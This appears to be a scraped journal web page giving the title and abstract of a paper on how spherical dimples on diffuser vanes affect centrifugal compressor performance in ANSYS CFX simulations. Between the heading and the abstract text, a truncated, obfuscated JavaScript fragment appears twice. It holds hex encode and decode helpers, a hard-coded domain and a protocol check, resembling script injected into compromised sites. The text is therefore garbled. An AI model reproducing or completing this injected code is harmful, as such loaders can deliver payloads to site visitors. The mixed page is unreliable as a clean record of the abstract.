On the effect of spherical dimples at diffuser vane surface on performance of centrifugal compressor

Abstract

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return etpo.khpi.edu.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return etpo.khpi.edu.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;eThe purpose of the paper is to show how the spherical dimples located on vaned diffuser of centrifugal compressor effect on its performance. Centrifugal compressor stage with different modifications of vaned diffuser was calculated using ANSYS CFX. Vanes of the diffuser were turned to decrease the inlet angle of the vanes. This provides shifting of the stage characteristic in the direction of the low mass flow rate. Dimples were located on the vane surface of this modified diffuser with the aim of improving stage performance at the range of negative incidence angles at vane leading edge. The results of numerical computation showed that proposed location of the dimples provides the reducing of the flow separation zone and boundary layer thickness in the diffuser at negative incidence angles and, thus, increasing the efficiency of the compressor stage at corresponding mass flow range. The results of the investigation should be considered as qualitative. The accuracy of the simulation of the complex swirling flows with separation strongly depends on the CFX set-up. Therefore in order to obtain quantitative results a detailed verification (with experimental data) of the flow pattern and diffuser characteristics should be performed.